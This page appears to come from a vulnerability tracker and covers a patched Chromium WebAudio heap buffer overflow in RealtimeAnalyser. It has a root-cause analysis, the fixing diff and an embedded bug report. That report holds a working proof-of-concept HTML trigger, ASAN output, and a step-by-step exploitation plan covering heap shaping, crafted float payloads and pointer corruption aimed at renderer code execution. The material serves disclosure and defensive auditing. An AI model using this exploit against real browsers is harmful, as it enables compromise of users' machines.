High watch CVSS 8.8 chrome OOB 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactHeap buffer overflow in WebAudio
DescriptionHeap buffer overflow in WebAudio
ComponentWebAudio
Bug ClassOOB
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker485292589
Fix commitddadc8e05544 (chromium/src) +4/-3
CWECWE-122 (Heap buffer overflow)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Reported2026-02-18 (per vendor advisory)
Fix landed2026-03-06 (public git)
Disclosed2026-03-18
Patch gap12 days — fix public in source before the advisory

Background

`RealtimeAnalyser`
the Blink WebAudio helper behind AnalyserNode that copies incoming audio into a circular input_buffer_ so FFT/time-domain data can later be read by script.
`input_buffer_` / `write_index`
the analyser’s fixed-size ring buffer (wrapping at kInputBufferSize) and the position at which the next frames_to_process samples are written.
`down_mix_bus_`
a scratch AudioBus into which the incoming bus is zeroed and summed (Zero() / SumFrom()), producing a mono signal in Channel(0) that is then copied into input_buffer_.
`UNSAFE_TODO` vs. span operations
UNSAFE_TODO marks raw-pointer code exempted from Chromium’s unsafe-buffer checks; base::span::subspan(), first() and copy_from() perform release-mode bounds checks (CHECK-crash) instead of silently reading or writing out of range.

Root Cause Analysis

The patched hunk in realtime_analyser.cc (the enclosing function name is not shown in the hunk header; by its body it is the analyser’s input-writing routine) computed a raw destination pointer dest = input_buffer_.Data() + write_index and then did memcpy(dest, down_mix_bus_->Channel(0)->Data(), frames_to_process * sizeof(*dest)). The only guard on that copy is DCHECK_LE(write_index + frames_to_process, input_buffer_.size()), which is compiled out in release builds, and nothing checked that down_mix_bus_->Channel(0) actually holds frames_to_process samples, so if write_index + frames_to_process ever exceeded the ring buffer’s size the memcpy would write past the end of the heap-allocated input_buffer_ (and could read past the end of the down-mix channel).

The fix replaces the pointer arithmetic and memcpy with input_buffer_.as_span().subspan(write_index, frames_to_process).copy_from(down_mix_bus_->Channel(0)->Span().first(frames_to_process)), so both the destination range and the source range are bounds-checked at runtime and a violation becomes a deterministic CHECK failure rather than a heap buffer overflow. Note that the commit is framed as an UNSAFE_TODO cleanup (“This should cause no functional change”) and also cites the generic unsafe-buffers bug 401184803: the diff does not show which upstream condition lets write_index + frames_to_process exceed the buffer (or frames_to_process exceed the down-mix bus length), so the fix is a hardening of the copy sink rather than a correction of that upstream logic.

Key insight
A heap memcpy into a ring buffer was protected only by a debug-only DCHECK, so any out-of-range write_index/frames_to_process combination overflowed input_buffer_ in release builds; the fix routes the copy through bounds-checked base::span operations so the bad length is caught before any byte is written.

Attack Path

  1. Create an analyser graph A web page builds a WebAudio graph containing an AnalyserNode, which is backed by RealtimeAnalyser, and feeds it audio.
  2. Drive audio rendering On each render quantum the audio thread down-mixes the input bus into down_mix_bus_ and copies frames_to_process samples into input_buffer_ at write_index.
  3. Reach an out-of-range copy (inferred) Under some condition the diff does not show, write_index + frames_to_process exceeds input_buffer_.size() (or the down-mix channel is shorter than frames_to_process), which only a DCHECK guarded.
  4. Heap overflow Pre-patch, the unchecked memcpy writes beyond input_buffer_ on the heap; post-patch, subspan()/first() CHECK-fail instead. Any corruption of adjacent heap objects or code execution is (inferred).

Impact Assessment

The vendor advisory rates this high severity as a “Heap buffer overflow in WebAudio”; the patch shows an unchecked memcpy into input_buffer_ in the renderer’s WebAudio code, so the affected context is the sandboxed renderer process (audio rendering thread). AnalyserNode is available to ordinary web content in a stock build, but the specific trigger that makes write_index + frames_to_process exceed the buffer is not visible in the diff, so any additional preconditions (particular channel/frame configuration, timing) are unknown; turning the overflow into renderer memory corruption or code execution is (inferred), and the advisory does not state in-the-wild exploitation.

Changed Functions

FunctionChangeNotes
if
third_party/blink/renderer/modules/webaudio/realtime_analyser.cc
modified

Files Changed

  • third_party/blink/renderer/modules/webaudio/realtime_analyser.cc

Audit Directions

  • Debug-only guards on release-mode copies
    Search WebAudio and other media code for DCHECK/DCHECK_LE checks that are the sole protection for a following memcpy, std::copy or pointer arithmetic, and verify the invariant actually holds in release builds.
  • Remaining `UNSAFE_TODO` / `UNSAFE_BUFFERS` in audio paths
    Audit other UNSAFE_TODO sites in third_party/blink/renderer/modules/webaudio/ and platform/audio/ (ring buffers, FIFOs, AudioBus channel copies) where frames_to_process or a write index comes from rendering state.
  • Mismatched bus/buffer lengths
    Check places that copy frames_to_process samples from an AudioBus channel without verifying the channel’s length, especially where channel count or render quantum size can change at runtime.
From ddadc8e05544649e4f0c3273d7366a4492db7331 Mon Sep 17 00:00:00 2001
From: Michael Wilson <[email protected]>
Date: Thu, 05 Mar 2026 19:37:11 -0800
Subject: [PATCH] Replace UNSAFE_TODO in RealtimeAnalyser with safe operations

We can use span methods instead of memcpy.

This should cause no functional change.

Bug: 401184803
Bug: 485292589
Change-Id: Ia9d37cfb56827560cadddb4d02d94cce14c78a85
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7635720
Reviewed-by: Hongchan Choi <[email protected]>
Commit-Queue: Michael Wilson <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1595131}
---

diff --git a/third_party/blink/renderer/modules/webaudio/realtime_analyser.cc b/third_party/blink/renderer/modules/webaudio/realtime_analyser.cc
index 9f2c3f4..4ff2fecc 100644
--- a/third_party/blink/renderer/modules/webaudio/realtime_analyser.cc
+++ b/third_party/blink/renderer/modules/webaudio/realtime_analyser.cc
@@ -230,14 +230,15 @@
   DCHECK_LE(write_index + frames_to_process, input_buffer_.size());
 
   // Perform real-time analysis
-  float* dest = UNSAFE_TODO(input_buffer_.Data() + write_index);
 
   // Clear the bus and downmix the input according to the down mixing rules.
   // Then save the result in the m_inputBuffer at the appropriate place.
   down_mix_bus_->Zero();
   down_mix_bus_->SumFrom(*bus);
-  UNSAFE_TODO(memcpy(dest, down_mix_bus_->Channel(0)->Data(),
-                     frames_to_process * sizeof(*dest)));
+
+  input_buffer_.as_span()
+      .subspan(write_index, frames_to_process)
+      .copy_from(down_mix_bus_->Channel(0)->Span().first(frames_to_process));
 
   write_index += frames_to_process;
   if (write_index >= kInputBufferSize) {
Loading diff…

Original Bug Report

reported by [email protected]

Heap Buffer Overflow in RealtimeAnalyser::WriteInput via Configurable Render Quantum Leads to Renderer Remote Code Execution

Summary

The RealtimeAnalyser class in Chromium’s WebAudio implementation maintains a fixed-size ring buffer (input_buffer_) of 65536 floats, but the WriteInput method copies audio data whose size is determined by the render quantum, which can be set to an arbitrarily large value via the renderSizeHint option when the WebAudioConfigurableRenderQuantum Origin Trial feature is active. Because the only bounds check is a DCHECK assertion that is compiled out in release builds, a single render quantum exceeding 65536 frames causes a heap buffer overflow via memcpy. This is a renderer-process memory corruption primitive reachable from any web page that registers for the Origin Trial, enabling remote code execution within the renderer sandbox.

Root Cause

The RealtimeAnalyser constructor allocates its input_buffer_ with a fixed size defined by kInputBufferSize, which equals kMaxFFTSize * 2 = 32768 * 2 = 65536 floats (262144 bytes). This size is a compile-time constant and is never adjusted based on the render quantum size:

// third_party/blink/renderer/modules/webaudio/realtime_analyser.cc
constexpr unsigned kInputBufferSize = RealtimeAnalyser::kMaxFFTSize * 2;

RealtimeAnalyser::RealtimeAnalyser(unsigned render_quantum_frames)
    : input_buffer_(kInputBufferSize),
      down_mix_bus_(AudioBus::Create(1, render_quantum_frames)),
      fft_size_(kDefaultFFTSize),
      magnitude_buffer_(kDefaultFFTSize / 2) {
  analysis_frame_ = std::make_unique<FFTFrame>(kDefaultFFTSize);
}

The WriteInput method, called from the audio rendering thread on every render quantum, copies frames_to_process floats into input_buffer_ starting at write_index. The only protection against an out-of-bounds write is a DCHECK_LE assertion, which is stripped from release (non-debug) builds:

// third_party/blink/renderer/modules/webaudio/realtime_analyser.cc
void RealtimeAnalyser::WriteInput(AudioBus* bus, uint32_t frames_to_process) {
  unsigned write_index = GetWriteIndex();
  DCHECK_LT(write_index, input_buffer_.size());
  DCHECK_LE(write_index + frames_to_process, input_buffer_.size());

  float* dest = UNSAFE_TODO(input_buffer_.Data() + write_index);

  down_mix_bus_->Zero();
  down_mix_bus_->SumFrom(*bus);
  UNSAFE_TODO(memcpy(dest, down_mix_bus_->Channel(0)->Data(),
                     frames_to_process * sizeof(*dest)));

  write_index += frames_to_process;
  if (write_index >= kInputBufferSize) {
    write_index = 0;
  }
  SetWriteIndex(write_index);
}

The caller, AnalyserHandler::Process, passes frames_to_process directly without any clamping:

// third_party/blink/renderer/modules/webaudio/analyser_handler.cc
void AnalyserHandler::Process(uint32_t frames_to_process) {
  scoped_refptr<AudioBus> input_bus = Input(0).Bus();
  analyser_.WriteInput(input_bus.get(), frames_to_process);
  // ...
}

The frames_to_process value ultimately comes from the render quantum size, which is configurable through the renderSizeHint option in OfflineAudioContextOptions (or AudioContextOptions). When the WebAudioConfigurableRenderQuantum runtime feature is enabled, the user-supplied renderSizeHint value is used as the render quantum size after passing through IsValidRenderQuantumSize, which only checks that the value is between 1 and 6 * sampleRate:

// third_party/blink/renderer/platform/audio/audio_utilities.cc
bool IsValidRenderQuantumSize(uint32_t render_quantum_size, float sample_rate) {
  return render_quantum_size >= MinRenderQuantumSize() &&
         render_quantum_size <= MaxRenderQuantumSize(sample_rate);
}

uint32_t MinRenderQuantumSize() { return 1; }

uint32_t MaxRenderQuantumSize(float sample_rate) {
  return static_cast<uint32_t>(6 * sample_rate);
}

For a typical sampleRate of 48000, the maximum allowed render quantum size is 288000, which far exceeds the input_buffer_ capacity of 65536. Even at the minimum supported sample rate of 3000, the maximum render quantum is 18000, still large enough to trigger a significant overflow when combined with a non-zero write_index.

The critical insight regarding attack surface is that WebAudioConfigurableRenderQuantum is registered as an Origin Trial in Chromium’s runtime enabled features configuration:

// third_party/blink/renderer/platform/runtime_enabled_features.json5
{
  name: "WebAudioConfigurableRenderQuantum",
  origin_trial_feature_name: "WebAudioConfigurableRenderQuantum",
  status: "experimental",
}

This means an attacker does not need Chrome flags or command-line switches to enable this feature. They can register their domain for the Origin Trial, embed the trial token in a <meta> tag, and any stable Chrome user visiting the page will have the feature activated.

The AudioArray allocator adds a small alignment padding (up to 32 bytes on x86) beyond the requested buffer size, but an attacker-controlled renderSizeHint of 65600 already writes 256 bytes past the allocation, and much larger values can corrupt significantly more heap memory. The overflowing data consists of audio sample values (floats), which the attacker partially controls through the structure of the audio graph feeding the AnalyserNode.

Exploit

The overflow produced by RealtimeAnalyser::WriteInput is a linear forward memcpy that begins at the end of the input_buffer_ backing store and extends into whatever heap memory follows. The attacker independently controls both the length and the content of this overflow. The overflow length is determined by renderSizeHint, which can range from 65537 (the minimum needed to exceed the 65536-float buffer) up to 6 * sampleRate. At the maximum supported sample rate of 768000 Hz this yields a render quantum of 4608000 frames and a memcpy of approximately 18 MB. Even at a conservative 48000 Hz, renderSizeHint can reach 288000, producing a 1.15 MB write that overflows by roughly 870 KB. The overflow content consists of single-precision IEEE 754 floats drawn from the audio signal feeding the AnalyserNode, which can encode arbitrary 32-bit patterns as described below. The overflow fires on the offline audio rendering thread, a dedicated thread spawned by OfflineAudioContext.startRendering(). The OfflineAudioContext variant is preferable for exploitation because the attacker controls exactly when rendering starts, and the suspend()/resume() mechanism allows interleaving JavaScript heap manipulation between render quanta.

The input_buffer_ backing store is allocated through Partitions::FastZeroedMalloc, which routes to PartitionAlloc’s fast_malloc partition:

// third_party/blink/renderer/platform/wtf/allocator/partitions.cc
void* Partitions::FastZeroedMalloc(size_t n, const char* type_name) {
  auto* fast_malloc_partition = FastMallocPartition();
  if (fast_malloc_partition) [[unlikely]] {
    return fast_malloc_partition
        ->AllocInline<partition_alloc::AllocFlags::kZeroFill>(n, type_name);
  } else {
    return calloc(n, 1);
  }
}

The AudioArray::Allocate method requests 65536 * sizeof(float) + 32 = 262176 bytes, where the extra 32 bytes provide SIMD alignment on x86. According to PartitionAlloc’s exponential bucket table, 262176 exceeds the 262144-byte bucket (order 18, index 95) and is promoted to the next available bucket at 294912 bytes (order 18, 9/8 sub-bucket). Each input_buffer_ backing store therefore occupies a 294912-byte slot, leaving 294912 - 262176 = 32736 bytes of intra-slot padding after the allocation. This has a critical implication: the renderSizeHint = 65600 used in the ASAN demonstration writes only 262400 bytes, overflowing the 262176-byte allocation by 224 bytes. In an ASAN build this is caught immediately, but in a real release build those 224 bytes land within the 32736-byte intra-slot padding and do not corrupt the adjacent slot. To actually cross the slot boundary and corrupt a neighboring object, the attacker must set renderSizeHint such that renderSizeHint * 4 exceeds the full 294912-byte slot size. A value of approximately 73728 or higher achieves this; for example, renderSizeHint = 75000 produces a 300000-byte memcpy that overflows the slot boundary by approximately 5 KB, which is sufficient to corrupt the header and initial data of the adjacent slot.

The overflow data originates from down_mix_bus_->Channel(0)->Data(), which holds the downmixed audio signal from whatever source node is connected to the AnalyserNode. By connecting an AudioBufferSourceNode loaded with a crafted AudioBuffer, the attacker gains precise 32-bit-granularity control over every float value written during the overflow. The attacker creates an AudioBuffer with the same sample rate and frame count as the render quantum, obtains a Float32Array view of its channel data, then uses a DataView on the same underlying ArrayBuffer to write arbitrary 32-bit integer patterns that will be reinterpreted as IEEE 754 floats:

const buf = ctx.createBuffer(1, renderSizeHint, sampleRate);
const channelData = buf.getChannelData(0);
const dv = new DataView(channelData.buffer);

// Write an arbitrary 64-bit pointer at the overflow region
// (float index 65536 is where the overflow begins)
dv.setUint32((65536 + 0) * 4, ptrLow,  true);
dv.setUint32((65536 + 1) * 4, ptrHigh, true);

The audio path from AudioBufferSourceNode through AnalyserNode performs a direct single-channel copy via SumFrom without clamping or saturation, so every 32-bit pattern set by the attacker is preserved exactly through the memcpy. This transforms the overflow from a blunt data corruption into a fully controlled write primitive capable of encoding arbitrary pointer values, fake object layouts, or any other structured data required for exploitation.

All WebAudio internal buffers allocated through AudioFloatArray use the same Partitions::FastZeroedMalloc path, so they land in the same PartitionAlloc partition. The attacker can shape the heap within this partition by creating and destroying WebAudio objects before triggering the overflow. For the target 294912-byte bucket, useful shaping objects include additional AnalyserNode instances (whose input_buffer_ backing stores are always 262176 bytes, landing in the same bucket) and DelayNode instances configured with maxDelayTime values that produce delay-line buffer allocations in the same size class. The shaping procedure follows a standard defragment-and-backfill pattern: first spray many same-bucket allocations to fill existing slot spans and force the allocator to commit new ones with deterministic sequential layout, then free specific allocations to create holes, and finally create the vulnerable AnalyserNode so its input_buffer_ fills a hole adjacent to a target object in a predictable position. The OfflineAudioContext.suspend()/resume() mechanism further assists by allowing the attacker to execute arbitrary JavaScript between render quanta for fine-grained heap manipulation during the rendering phase.

Because PartitionAlloc stores its freelist and metadata separately from slot data (in the super page metadata area), the overflow cannot directly corrupt allocator internals. The attacker instead targets application-level objects occupying adjacent slots in the same bucket. The AudioFloatArray struct itself (containing allocation_, aligned_data_, and size_ fields) is embedded in its parent object rather than in the backing-store slot, so overflowing into a raw float-data slot does not directly corrupt metadata pointers. However, larger composite objects allocated via USING_FAST_MALLOC that contain embedded raw_ptr or std::unique_ptr fields within the same slot become viable targets. Corrupting a raw_ptr<float> field such as AudioChannel::raw_pointer_ to point to an attacker-controlled address converts subsequent audio processing operations on that channel into arbitrary memory reads or writes:

// third_party/blink/renderer/platform/audio/audio_channel.h
class AudioChannel final {
 private:
  uint32_t length_;
  raw_ptr<float, DanglingUntriaged> raw_pointer_;
  std::unique_ptr<AudioFloatArray> mem_buffer_;
  bool silent_;
};

If the attacker corrupts raw_pointer_ to point elsewhere and then triggers a read through that AudioChannel (for instance via getFloatTimeDomainData or audio graph processing that copies from the channel), the corrupted pointer is dereferenced to read or write at the attacker-chosen address. Similarly, corrupting mem_buffer_ to point to a fake AudioFloatArray object in attacker-controlled memory gives the attacker control over both the data pointer and the length of subsequent buffer operations, yielding an unbounded read/write primitive.

With an arbitrary read/write primitive established through a corrupted audio channel pointer, the attacker proceeds through standard renderer exploitation techniques. First, the read primitive is used to leak renderer-process addresses and defeat ASLR by scanning for known object layouts or vtable pointers. Then the write primitive overwrites a function pointer, a vtable entry, or V8 JIT-compiled code to hijack control flow. The attacker can pivot to a ROP/JOP chain or simply overwrite JIT code pages to achieve arbitrary code execution within the renderer sandbox. The overflow is deterministic with no race condition required, repeatable across successive render quanta, and offers attacker control over both the length and byte-level content of the out-of-bounds write. Combined with the WebAudio API’s rich set of heap manipulation primitives for shaping the fast_malloc partition and the OfflineAudioContext suspend/resume mechanism for interleaving JavaScript execution, this vulnerability provides all the building blocks needed for reliable renderer-process code execution on stable Chrome via Origin Trial activation.

Reproduce

The following HTML file triggers the heap buffer overflow by creating an OfflineAudioContext with renderSizeHint set to 65600, which exceeds the input_buffer_ capacity of 65536. An OscillatorNode is connected through an AnalyserNode to the destination, ensuring audio data flows through RealtimeAnalyser::WriteInput during rendering. On the very first render quantum, the memcpy writes 65600 floats (262400 bytes) into a buffer that can only hold 65536 floats (262144 bytes), overflowing by 256 bytes.

Save the following as poc_webaudio_analyser_oob_write.html and run with:

ASAN_OPTIONS=detect_odr_violation=0 /path/to/chrome --headless --no-sandbox --disable-gpu --enable-blink-features=WebAudioConfigurableRenderQuantum "file:///path/to/poc_webaudio_analyser_oob_write.html"

Note: the --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead.

<!DOCTYPE html>
<html>
<body>
<script>
async function trigger() {
  try {
    const sampleRate = 48000;
    // renderSizeHint = 65600 > kInputBufferSize(65536), first quantum overflows
    const ctx = new OfflineAudioContext({
      numberOfChannels: 1,
      length: 65600,
      sampleRate: sampleRate,
      renderSizeHint: 65600
    });

    const osc = new OscillatorNode(ctx, { frequency: 440 });
    const analyser = new AnalyserNode(ctx);

    osc.connect(analyser);
    analyser.connect(ctx.destination);
    osc.start();

    console.log("[*] renderSizeHint = 65600, kInputBufferSize = 65536");
    console.log("[*] Expected OOB write: 65600 - 65536 = 64 floats (256 bytes)");
    console.log("[*] Starting offline rendering...");

    await ctx.startRendering();

    console.log("[!] Rendering completed (should have crashed before this on ASAN)");
  } catch (e) {
    console.log("[!] Exception: " + e.name + ": " + e.message);
  }
}

trigger().then(() => {
  if (typeof window.__done !== 'undefined') window.__done();
});
</script>
</body>
</html>

ASAN output from execution confirms the heap buffer overflow:

==3750776==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b4012f37820 at pc 0x55942cbe28de bp 0x7b4012dd6db0 sp 0x7b4012dd6570
WRITE of size 262400 at 0x7b4012f37820 thread T9 (OfflineAudioRen)
    #0 0x55942cbe28dd in __asan_memcpy
    #1 0x7f44e3154e52 in blink::RealtimeAnalyser::WriteInput(blink::AudioBus*, unsigned int) third_party/blink/renderer/modules/webaudio/realtime_analyser.cc:246:15
    #2 0x7f44e2fe9fdc in blink::AnalyserHandler::Process(unsigned int) third_party/blink/renderer/modules/webaudio/analyser_handler.cc:60:13
    #3 0x7f44e3037a4d in blink::AudioHandler::ProcessIfNecessary(unsigned int) third_party/blink/renderer/modules/webaudio/audio_handler.cc:331:7
    #4 0x7f44e3059915 in blink::AudioNodeOutput::Pull(blink::AudioBus*, unsigned int) third_party/blink/renderer/modules/webaudio/audio_node_output.cc:135:13
    #5 0x7f44e3056aab in blink::AudioNodeInput::SumAllConnections(scoped_refptr<blink::AudioBus>, unsigned int) third_party/blink/renderer/modules/webaudio/audio_node_input.cc:132:40
    #6 0x7f44e3056f35 in blink::AudioNodeInput::Pull(blink::AudioBus*, unsigned int) third_party/blink/renderer/modules/webaudio/audio_node_input.cc:162:3
    #7 0x7f44e313615b in blink::OfflineAudioDestinationHandler::RenderIfNotSuspended(...) third_party/blink/renderer/modules/webaudio/offline_audio_destination_handler.cc:304:16
    #8 0x7f44e3134c51 in blink::OfflineAudioDestinationHandler::DoOfflineRendering() third_party/blink/renderer/modules/webaudio/offline_audio_destination_handler.cc:188:9

0x7b4012f37820 is located 0 bytes after 262176-byte region [0x7b4012ef7800,0x7b4012f37820)

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

The ASAN report confirms that the memcpy in RealtimeAnalyser::WriteInput writes 262400 bytes (65600 floats) starting at the exact end of a 262176-byte allocation (262144 bytes for 65536 floats plus 32 bytes of alignment padding), overflowing into adjacent heap memory. The slight difference between 262144 and 262176 is due to the SIMD alignment padding allocated by AudioArray::Allocate.

View on issue tracker